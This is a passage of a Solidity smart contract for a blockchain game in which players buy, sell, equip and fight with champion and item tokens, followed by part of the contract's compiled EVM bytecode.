if(item.onChampId != _onChampId){item.onChampId = _onChampId;}
if(item.onChamp != _onChamp){item.onChamp = _onChamp;}
if(item.forSale != _forSale){
item.forSale = _forSale;
if(_forSale){
tokensForSaleCount[false]++;
}else{
tokensForSaleCount[false]--;
}
}
}
/*============== CALLABLE BY PLAYER ==============*/
function buyItem(uint _id, address _affiliateAddress) external payable
onlyNotOwnerOfItem(_id)
isItemForSale(_id)
isPaid(items[_id].price)
{
if(tokenToOwner[false][_id] == address(this)){
_distributeNewSaleInput(_affiliateAddress);
}else{
_addWithdrawal(tokenToOwner[false][_id], msg.value);
}
controller.transferToken(tokenToOwner[false][_id], msg.sender, _id, false);
}
function buyChamp(uint _id, address _affiliateAddress) external payable
onlyNotOwnerOfChamp(_id)
isChampForSale(_id)
isPaid(champs[_id].price)
{
if(tokenToOwner[true][_id] == address(this)){
_distributeNewSaleInput(_affiliateAddress);
}else{
_addWithdrawal(tokenToOwner[true][_id], msg.value);
}
controller.transferToken(tokenToOwner[true][_id], msg.sender, _id, true);
}
function changePlayersName(string _name) external {
addressInfo[msg.sender].name = _name;
}
function withdrawToAddress(address _address) external
{
address playerAddress = _address;
if(playerAddress == address(0)){ playerAddress = msg.sender; }
uint share = addressInfo[playerAddress].withdrawal; //gets pending funds
require(share > 0); //is it more than 0?
addressInfo[playerAddress].withdrawal = 0; //set player's withdrawal pendings to 0
pendingWithdrawal = pendingWithdrawal.sub(share); //subtract share from total pendings
playerAddress.transfer(share); //transfer
}
/*============== VIEW FUNCTIONS ==============*/
function getChampsByOwner(address _owner) external view returns(uint256[]) {
uint256[] memory result = new uint256[](addressInfo[_owner].champsCount);
uint256 counter = 0;
for (uint256 i = 0; i < champs.length; i++) {
if (tokenToOwner[true][i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function getTokensForSale(bool _isTokenChamp) view external returns(uint256[]){
uint256[] memory result = new uint256[](tokensForSaleCount[_isTokenChamp]);
if(tokensForSaleCount[_isTokenChamp] > 0){
uint256 counter = 0;
if(_isTokenChamp){
for (uint256 i = 0; i < champs.length; i++) {
if (champs[i].forSale == true) {
result[counter]=i;
counter++;
}
}
}else{
for (uint256 n = 0; n < items.length; n++) {
if (items[n].forSale == true) {
result[counter]=n;
counter++;
}
}
}
}
return result;
}
function getChampStats(uint256 _champId) public view returns(uint256,uint256,uint256){
Champ storage champ = champs[_champId];
Item storage sword = items[champ.eq_sword];
Item storage shield = items[champ.eq_shield];
Item storage helmet = items[champ.eq_helmet];
uint totalAttackPower = champ.attackPower + sword.attackPower + shield.attackPower + helmet.attackPower; //Gets champs AP
uint totalDefencePower = champ.defencePower + sword.defencePower + shield.defencePower + helmet.defencePower; //Gets champs DP
uint totalCooldownReduction = sword.cooldownReduction + shield.cooldownReduction + helmet.cooldownReduction; //Gets CR
return (totalAttackPower, totalDefencePower, totalCooldownReduction);
}
function getItemsByOwner(address _owner) external view returns(uint256[]) {
uint256[] memory result = new uint256[](addressInfo[_owner].itemsCount);
uint256 counter = 0;
for (uint256 i = 0; i < items.length; i++) {
if (tokenToOwner[false][i] == _owner) {
result[counter] = i;
counter++;
}
}
return result;
}
function getTokenCount(bool _isTokenChamp) external view returns(uint)
{
if(_isTokenChamp){
return champs.length - addressInfo[address(0)].champsCount;
}else{
return items.length - 1 - addressInfo[address(0)].itemsCount;
}
}
function getTokenURIs(uint _tokenId, bool _isTokenChamp) public view returns(string)
{
return controller.getTokenURIs(_tokenId,_isTokenChamp);
}
function onlyApprovedOrOwnerOfToken(uint _id, address _msgsender, bool _isTokenChamp) external view returns(bool)
{
if(!_isTokenChamp){
require(_id != 0);
}
address owner = tokenToOwner[_isTokenChamp][_id];
return(_msgsender == owner || _msgsender == tokenApprovals[_isTokenChamp][_id] || tokenOperatorApprovals[_isTokenChamp][owner][_msgsender]);
}
/*============== DELEGATE ==============*/
function attack(uint _champId, uint _targetId) external{
controller.attack(_champId, _targetId, msg.sender);
}
function cancelTokenSale(uint _id, bool _isTokenChamp) public{
controller.cancelTokenSale(_id, msg.sender, _isTokenChamp);
}
function changeChampsName(uint _champId, string _name) external{
controller.changeChampsName(_champId, _name, msg.sender);
}
function forgeItems(uint _parentItemID, uint _childItemID) external{
controller.forgeItems(_parentItemID, _childItemID, msg.sender);
}
function giveToken(address _to, uint _champId, bool _isTokenChamp) external{
controller.giveToken(_to, _champId, msg.sender, _isTokenChamp);
}
function setTokenForSale(uint _id, uint _price, bool _isTokenChamp) external{
controller.setTokenForSale(_id, _price, msg.sender, _isTokenChamp);
}
function putOn(uint _champId, uint _itemId) external{
controller.putOn(_champId, _itemId, msg.sender);
}
function takeOffItem(uint _champId, uint8 _type) public{
controller.takeOffItem(_champId, _type, msg.sender);
}
function withdrawChamp(uint _id) external{
controller.withdrawChamp(_id, msg.sender);
}
function getChampReward(uint _position) public view returns(uint){
return controller.getChampReward(_position);
}
}
|
0x608060405260043610610250576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680626f277014610255578063088df612146102985780630d325b29146102d15780630def38661461032a5780632126fcb2146103db57806329f6d9c3146104ac5780632c67a8e514610505578063338e4fd61461059d57806333fb1e05146105e0578063344c0dd51461060d57806341d9cc43146106d457806344f06bc71461070b5780634506e64d1461075a57806350c6ef881461079157806350d27312146108045780635355faed1461088b57806354c9cc44146109045780635df709041461093f5780635e7b983214610998578063736e077b14610a295780637383d70914610acf5780637a1aeb3c14610b0f5780637e28882214610b52578063811ea6de14610b7d57806387402d9a14610bf65780638e2e207714610ccd5780639187300e14610d0657806394b5c9f314610d8a578063a60956a614610dcb578063a92bd72c14610e86578063b8bcb3c914610ec9578063bb865ac014610f0c578063bcb98ba214610f85578063bd0a0e8514610fca578063bf36839914611001578063bfb231d214611042578063c5af6257146110d6578063d037628314611176578063d9a3af65146111e7578063db2e21bc14611234578063db9f16a81461124b578063dcfa6ac414611285578063e109ef24146112c5578063e167458814611340578063e1fa7638146113f2578063eb0fb0a314611429578063f0c41bb214611482578063f2fde38b1461151a578063f32a12ac1461155d575b600080fd5b34801561026157600080fd5b50610296600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115ac565b005b3480156102a457600080fd5b506102cf60048036038101908080359060200190929190803515159060200190929190505050611648565b005b3480156102dd57600080fd5b5061032860048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611735565b005b34801561033657600080fd5b506103d9600480360381019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035151590602001909291905050506117f9565b005b3480156103e757600080fd5b5061041c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a47565b6040518085815260200184815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561046e578082015181840152602081019050610453565b50505050905090810190601f16801561049b5780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b3480156104b857600080fd5b50610503600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803515159060200190929190505050611b0f565b005b34801561051157600080fd5b50610546600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611cd5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561058957808201518184015260208101905061056e565b505050509050019250505060405180910390f35b3480156105a957600080fd5b506105de6004803603810190808035906020019092919080359060200190929190803515159060200190929190505050611e1f565b005b3480156105ec57600080fd5b5061060b60048036038101908080359060200190929190505050611f15565b005b34801561061957600080fd5b506106be60048036038101908080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ff5565b6040518082815260200191505060405180910390f35b3480156106e057600080fd5b5061070960048036038101908080359060200190929190803590602001909291905050506122e2565b005b34801561071757600080fd5b50610736600480360381019080803590602001909291905050506123cb565b60405180848152602001838152602001828152602001935050505060405180910390f35b34801561076657600080fd5b5061078f60048036038101908080359060200190929190803590602001909291905050506124be565b005b34801561079d57600080fd5b5061080260048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506125a7565b005b34801561081057600080fd5b50610871600480360381019080803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061262b565b604051808215151515815260200191505060405180910390f35b34801561089757600080fd5b506108c260048036038101908080351515906020019092919080359060200190929190505050612667565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561091057600080fd5b5061093d6004803603810190808035906020019082018035906020019190919293919293905050506126a9565b005b34801561094b57600080fd5b50610996600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035151590602001909291905050506126ff565b005b3480156109a457600080fd5b50610a2760048036038101908080359060200190929190803560ff169060200190929190803560ff1690602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803515159060200190929190803515159060200190929190505050612821565b005b348015610a3557600080fd5b50610a5460048036038101908080359060200190929190505050612a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a94578082015181840152602081019050610a79565b50505050905090810190601f168015610ac15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610b0d60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612b17565b005b348015610b1b57600080fd5b50610b3c600480360381019080803515159060200190929190505050612e5f565b6040518082815260200191505060405180910390f35b348015610b5e57600080fd5b50610b67612f0c565b6040518082815260200191505060405180910390f35b348015610b8957600080fd5b50610bf4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803515159060200190929190505050612f12565b005b348015610c0257600080fd5b50610ccb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291908035151590602001909291908035906020019092919080351515906020019092919080359060200190929190803515159060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080351515906020019092919050505061308d565b005b348015610cd957600080fd5b50610d0460048036038101908080359060200190929190803515159060200190929190505050613184565b005b348015610d1257600080fd5b50610d336004803603810190808035151590602001909291905050506131fc565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b83811015610d76578082015181840152602081019050610d5b565b505050509050019250505060405180910390f35b348015610d9657600080fd5b50610db560048036038101908080359060200190929190505050613388565b6040518082815260200191505060405180910390f35b348015610dd757600080fd5b50610e70600480360381019080803560ff169060200190929190803560ff1690602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803515159060200190929190803515159060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061345d565b6040518082815260200191505060405180910390f35b348015610e9257600080fd5b50610ec7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613728565b005b348015610ed557600080fd5b50610ef660048036038101908080351515906020019092919050505061386a565b6040518082815260200191505060405180910390f35b348015610f1857600080fd5b50610f4360048036038101908080351515906020019092919080359060200190929190505050613882565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610f9157600080fd5b50610fc8600480360381019080803590602001909291908035906020019082018035906020019190919293919293905050506138c4565b005b348015610fd657600080fd5b50610fff60048036038101908080359060200190929190803590602001909291905050506139c8565b005b34801561100d57600080fd5b5061102c60048036038101908080359060200190929190505050613a3c565b6040518082815260200191505060405180910390f35b34801561104e57600080fd5b5061106d60048036038101908080359060200190929190505050613a54565b604051808b81526020018a60ff1660ff1681526020018960ff1660ff16815260200188815260200187815260200186815260200185815260200184815260200183151515158152602001821515151581526020019a505050505050505050505060405180910390f35b3480156110e257600080fd5b5061110160048036038101908080359060200190929190505050613aeb565b604051808f81526020018e81526020018d81526020018c81526020018b81526020018a8152602001898152602001888152602001878152602001868152602001858152602001848152602001838152602001821515151581526020019e50505050505050505050505050505060405180910390f35b34801561118257600080fd5b506111cd60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050613b73565b604051808215151515815260200191505060405180910390f35b3480156111f357600080fd5b50611232600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050613d36565b005b34801561124057600080fd5b50611249613d9c565b005b34801561125757600080fd5b5061128360048036038101908080359060200190929190803560ff169060200190929190505050613e76565b005b6112c360048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613f65565b005b3480156112d157600080fd5b5061133e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291908035151590602001909291905050506142a1565b005b34801561134c57600080fd5b50611377600480360381019080803590602001909291908035151590602001909291905050506143a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156113b757808201518184015260208101905061139c565b50505050905090810190601f1680156113e45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156113fe57600080fd5b5061142760048036038101908080359060200190929190803590602001909291905050506144e0565b005b34801561143557600080fd5b5061148060048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506145c9565b005b34801561148e57600080fd5b506114c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061468d565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156115065780820151818401526020810190506114eb565b505050509050019250505060405180910390f35b34801561152657600080fd5b5061155b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506147d8565b005b34801561156957600080fd5b506115aa600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506148b0565b005b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561160457600080fd5b80600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16634da1e0b78333846040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019350505050600060405180830381600087803b15801561171957600080fd5b505af115801561172d573d6000803e3d6000fd5b505050505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561178d57600080fd5b816006600083151515158152602001908152602001600020600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561185357600080fd5b60008f81548110151561186257fe5b90600052602060002090600e020190508d8160010154141515611889578d81600101819055505b8c81600201541415156118a0578c81600201819055505b8b81600301541415156118b7578b81600301819055505b8a81600401541415156118ce578a81600401819055505b8981600501541415156118e5578981600501819055505b8881600601541415156118fc578881600601819055505b87816007015414151561192b578781600701819055508e600260008a8152602001908152602001600020819055505b868160080154141515611942578681600801819055505b858160090154141515611959578581600901819055505b8481600a0154141515611970578481600a01819055505b8381600b0154141515611987578381600b01819055505b8281600c015414151561199e578281600c01819055505b81151581600d0160009054906101000a900460ff161515141515611a36578181600d0160006101000a81548160ff0219169083151502179055508115611a0b5760096000600115151515815260200190815260200160002060008154809291906001019190505550611a35565b60096000600115151515815260200190815260200160002060008154809291906001900391905055505b5b505050505050505050505050505050565b6004602052806000526040600020600091509050806000015490806001015490806002015490806003018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611b055780601f10611ada57610100808354040283529160200191611b05565b820191906000526020600020905b815481529060010190602001808311611ae857829003601f168201915b5050505050905084565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515611b6757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166007600083151515158152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611be957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff166006600083151515158152602001908152602001600020600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611cd05760006006600083151515158152602001908152602001600020600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b505050565b606080600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154604051908082528060200260200182016040528015611d4c5781602001602082028038833980820191505090505b50925060009150600090505b600180549050811015611e14578473ffffffffffffffffffffffffffffffffffffffff166007600080151515158152602001908152602001600020600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e0757808383815181101515611df057fe5b906020019060200201818152505081806001019250505b8080600101915050611d58565b829350505050919050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a87af57b848433856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182151515158152602001945050505050600060405180830381600087803b158015611ef857600080fd5b505af1158015611f0c573d6000803e3d6000fd5b50505050505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ca76002182336040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200192505050600060405180830381600087803b158015611fda57600080fd5b505af1158015611fee573d6000803e3d6000fd5b5050505050565b6000611fff614aa6565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561205957600080fd5b6101c06040519081016040528060008152602001600081526020018f81526020018e8152602001600081526020018d81526020018c81526020018b81526020018a81526020016000815260200189815260200188815260200187815260200186151581525091508e82602001818152505060016000839080600181540180825580915050906001820390600052602060002090600e020160009091929091909150600082015181600001556020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c0820151816006015560e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b015561018082015181600c01556101a082015181600d0160006101000a81548160ff0219169083151502179055505050039050806000828154811015156121b757fe5b90600052602060002090600e02016000018190555080600260008c815260200190815260200160002081905550600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001016000815480929190600101919050555083600760006001151515158152602001908152602001600020600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084156122cd57600960006001151515158152602001908152602001600020600081548092919060010191905055505b80925050509c9b505050505050505050505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a1bc13ad8383336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b1580156123af57600080fd5b505af11580156123c3573d6000803e3d6000fd5b505050505050565b60008060008060008060008060008060008b8154811015156123e957fe5b90600052602060002090600e02019650600187600a015481548110151561240c57fe5b90600052602060002090600802019550600187600b015481548110151561242f57fe5b90600052602060002090600802019450600187600c015481548110151561245257fe5b90600052602060002090600802019350836002015485600201548760020154896001015401010192508360030154856003015487600301548960020154010101915083600401548560040154876004015401019050828282995099509950505050505050509193909250565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ce9a6ac88383336040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808481526020018381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019350505050600060405180830381600087803b15801561258b57600080fd5b505af115801561259f573d6000803e3d6000fd5b505050505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156125ff57600080fd5b80600860008481526020019081526020016000209080519060200190612626929190614b18565b505050565b6005602052826000526040600020602052816000526040600020602052806000526040600020600092509250509054906101000a900460ff1681565b60066020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b8181600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030191906126fa929190614b98565b505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166350be7503848433856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182151515158152602001945050505050600060405180830381600087803b15801561280457600080fd5b505af1158015612818573d6000803e3d6000fd5b50505050505050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561287b57600080fd5b60018b81548110151561288a57fe5b906000526020600020906008020190508960ff168160010160009054906101000a900460ff1660ff161415156128d857898160010160006101000a81548160ff021916908360ff1602179055505b8860ff168160010160019054906101000a900460ff1660ff1614151561291657888160010160016101000a81548160ff021916908360ff1602179055505b87816002015414151561292d578781600201819055505b868160030154141515612944578681600301819055505b85816004015414151561295b578581600401819055505b848160050154141515612972578481600501819055505b838160060154141515612989578381600601819055505b8215158160070160009054906101000a900460ff1615151415156129c457828160070160006101000a81548160ff0219169083151502179055505b8115158160070160019054906101000a900460ff161515141515612a5a57818160070160016101000a81548160ff0219169083151502179055508115612a3057600960008015151515815260200190815260200160002060008154809291906001019190505550612a59565b600960008015151515815260200190815260200160002060008154809291906001900391905055505b5b5050505050505050505050565b60086020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015612b0f5780601f10612ae457610100808354040283529160200191612b0f565b820191906000526020600020905b815481529060010190602001808311612af257829003601f168201915b505050505081565b8160008114151515612b2857600080fd5b6007600080151515158152602001908152602001600020600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151515612bab57600080fd5b82600181815481101515612bbb57fe5b906000526020600020906008020160070160019054906101000a900460ff161515612be557600080fd5b600184815481101515612bf457fe5b906000526020600020906008020160050154803410151515612c1557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff166007600080151515158152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415612c9f57612c9a84614963565b612cf2565b612cf16007600080151515158152602001908152602001600020600087815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1634614a29565b5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663811ea6de6007600080151515158152602001908152602001600020600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16338860006040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001945050505050600060405180830381600087803b158015612e4057600080fd5b505af1158015612e54573d6000803e3d6000fd5b505050505050505050565b60008115612eb857600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600080549050039050612f07565b600460008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015460018080549050030390505b919050565b600a5481565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515612f6a57600080fd5b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663811ea6de858585856040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182151515158152602001945050505050600060405180830381600087803b15801561306f57600080fd5b505af1158015613083573d6000803e3d6000fd5b5050505050505050565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156130e757600080fd5b600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508715613138578881600001819055505b8515613148578681600101819055505b8315613158578481600201819055505b81156131785782816003019080519060200190613176929190614b18565b505b50505050505050505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156131dc57600080fd5b816009600083151515158152602001908152602001600020819055505050565b606080600080600060096000871515151581526020019081526020016000205460405190808252806020026020018201604052801561324a5781602001602082028038833980820191505090505b5093506000600960008815151515815260200190815260200160002054111561337c576000925085156132fb57600091505b6000805490508210156132f6576001151560008381548110151561329c57fe5b90600052602060002090600e0201600d0160009054906101000a900460ff16151514156132e9578184848151811015156132d257fe5b906020019060200201818152505082806001019350505b818060010192505061327c565b61337b565b600090505b60018054905081101561337a576001151560018281548110151561332057fe5b906000526020600020906008020160070160019054906101000a900460ff161515141561336d5780848481518110151561335657fe5b906020019060200201818152505082806001019350505b8080600101915050613300565b5b5b83945050505050919050565b6000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166394b5c9f3836040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b15801561341b57600080fd5b505af115801561342f573d6000803e3d6000fd5b505050506040513d602081101561344557600080fd5b81019080805190602001909291905050509050919050565b6000613467614c18565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615156134c157600080fd5b61014060405190810160405280600081526020018e60ff1681526020018d60ff1681526020018c81526020018b81526020018a81526020018981526020018881526020018715158152602001861515815250915060018083908060018154018082558091505090600182039060005260206000209060080201600090919290919091506000820151816000015560208201518160010160006101000a81548160ff021916908360ff16021790555060408201518160010160016101000a81548160ff021916908360ff160217905550606082015181600201556080820151816003015560a0820151816004015560c0820151816005015560e082015181600601556101008201518160070160006101000a81548160ff0219169083151502179055506101208201518160070160016101000a81548160ff02191690831515021790555050500390508060018281548110151561361957fe5b906000526020600020906008020160000181905550600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160008154809291906001019190505550836007600080151515158152602001908152602001600020600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508415613715576009600080151515158152602001908152602001600020600081548092919060010191905055505b80925050509a9950505050505050505050565b600080829150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613767573391505b600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015490506000811115156137bb57600080fd5b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000018190555061381881600a54614a8d90919063ffffffff16565b600a819055508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613864573d6000803e3d6000fd5b50505050565b60096020528060005260406000206000915090505481565b60076020528160005260406000206020528060005260406000206000915091509054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166309a0cfe4848484336040518563ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180858152602001806020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281038252858582818152602001925080828437820191505095505050505050600060405180830381600087803b1580156139ab57600080fd5b505af11580156139bf573d6000803e3d6000fd5b50505050505050565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515613a2057600080fd5b8060026000848152602001908152602001600020819055505050565b60026020528060005260406000206000915090505481565b600181815481101515613a6357fe5b90600052602060002090600802016000915090508060000154908060010160009054906101000a900460ff16908060010160019054906101000a900460ff169080600201549080600301549080600401549080